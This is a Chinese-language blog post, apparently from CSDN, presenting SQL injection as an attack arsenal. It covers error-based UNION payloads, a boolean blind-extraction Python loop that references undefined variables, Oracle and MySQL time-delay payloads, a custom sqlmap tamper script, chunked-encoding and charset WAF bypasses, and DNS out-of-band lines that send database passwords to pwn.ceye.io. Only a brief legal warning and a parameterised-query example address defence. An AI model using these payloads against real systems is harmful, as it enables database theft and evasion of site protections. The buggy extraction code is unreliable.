《Web安全头号杀手:SQL注入从手工到自动化》

0x00 手工注入:感受原力黑暗面

经典错误型注入解剖

漏洞代码原型

# 危险代码示例(PHP)  
$id = $_GET['id'];  
$sql = "SELECT * FROM users WHERE id = $id";  
$result = mysqli_query($conn, $sql);

攻击向量

1 AND 1=2 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--  

攻击流程

数字型
字符型
判断注入类型
数字型/字符型
直接拼接
闭合引号
C/D
判断列数
获取元数据
拖库操作

0x01 盲注艺术:在黑暗中狩猎

布尔盲注比特战

二进制数据提取算法

def extract_data(query):  
    result = ""  
    for bit in range(1, 9):  
        payload = f"1' AND (ASCII(SUBSTR(({query}),{byte},1))>>{7-bit}&1=1 -- "  
        if requests.get(url, params={'id':payload}).status_code == 200:  
            result += '1'  
        else:  
            result += '0'  
    return chr(int(result,2))  

时间盲注钟摆攻击

Oracle延时注入

' AND 1=DBMS_PIPE.RECEIVE_MESSAGE(('PWN'), CASE WHEN (SELECT SUBSTR(password,1,1) FROM users WHERE username='admin')='A' THEN 5 ELSE 0 END) --  

MySQL多级延时

' OR IF(ASCII(SUBSTR(database(),1,1))>128, BENCHMARK(10000000,MD5('pwn')),1) --  

0x02 自动化之王:SQLMap核武库

Tamper脚本工坊

内置脚本解析

脚本名称对抗目标技术原理
charencode.py简单过滤URL编码嵌套
apostrophemask.py单引号过滤UTF8全角字符替换
space2randomblank.pyWAF规则匹配随机空白符填充

自定义Tamper示例

# bypass_waf.py  
from lib.core.enums import PRIORITY  
__priority__ = PRIORITY.NORMAL  

def tamper(payload, **kwargs):  
    trans = {" ": "/**/", "SELECT": "SELSELECTECT"}  
    retval = payload  
    for search, replace in trans.items():  
        retval = retval.replace(search, replace)  
    return retval  

0x03 WAF突围战:三重混淆矩阵

第一层:语义污染

/*!11440UNION*/%0A/*!SELECT*/ 1,2,3  

原理:利用MySQL版本特异性注释绕过正则检测

第二层:协议级分片

分块传输编码攻击

POST /vuln.php HTTP/1.1  
Transfer-Encoding: chunked  

7  
id=1 /*  
0  

GET /vuln.php?id=1*/ UNION SELECT 1,2,3--  

第三层:字符集漩涡

%c2%bf%27%20OR%201=1--%20  

魔法字节0xbf27在UTF-8解码时转化为¿',破坏WAF解析链


0x04 外带通道:突破最后防线

DNS隐秘隧道

Oracle数据外泄

UTL_HTTP.REQUEST('http://'||(SELECT password FROM users WHERE rownum=1)||'.pwn.ceye.io')  

HTTP走私攻击

GET /?id=1;EXEC master..xp_dirtree '\\'+(SELECT TOP 1 column_name FROM information_schema.columns)+'.pwn.ceye.io\test' HTTP/1.1  

0x05 实验室:多维注入战场

目标系统:http://hacklab.csdntest/sqli-labs (模拟真实WAF环境)

挑战任务

  1. 青铜难度:通过错误回显获取数据库版本
  2. 白银难度:使用时间盲注提取管理员密码哈希
  3. 黄金难度:绕过云WAF执行任意文件读取

武器库提示

sqlmap -u "http://hacklab.csdntest/sqli-labs/Less-1/?id=1" \  
       --tamper=space2comment,randomcase \  
       --dns-domain=pwn.ceye.io \  
       --level=5  

技术总结

SQL注入进化史 = 手工探测 × 自动化扩展 × WAF对抗  
                   ↓  
   脚本小子 → 漏洞猎手 → 安全架构师  

下期剧透:《XSS的艺术》将揭秘:

  • 利用DOM Clobbering绕过CSP
  • 基于WebRTC的内部网络探测
  • 通过Service Worker建立持久化控制

法律红区

⚠️ 未经授权的SQL注入攻击涉嫌《刑法》第285条非法获取计算机信息系统数据罪


防御者沙盘

-- 参数化查询示例(Python)  
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))  

-- 正则过滤陷阱(易被绕过)  
$filter = preg_replace('/\bUNION\b/i', '', $input);  

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序员没睡醒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值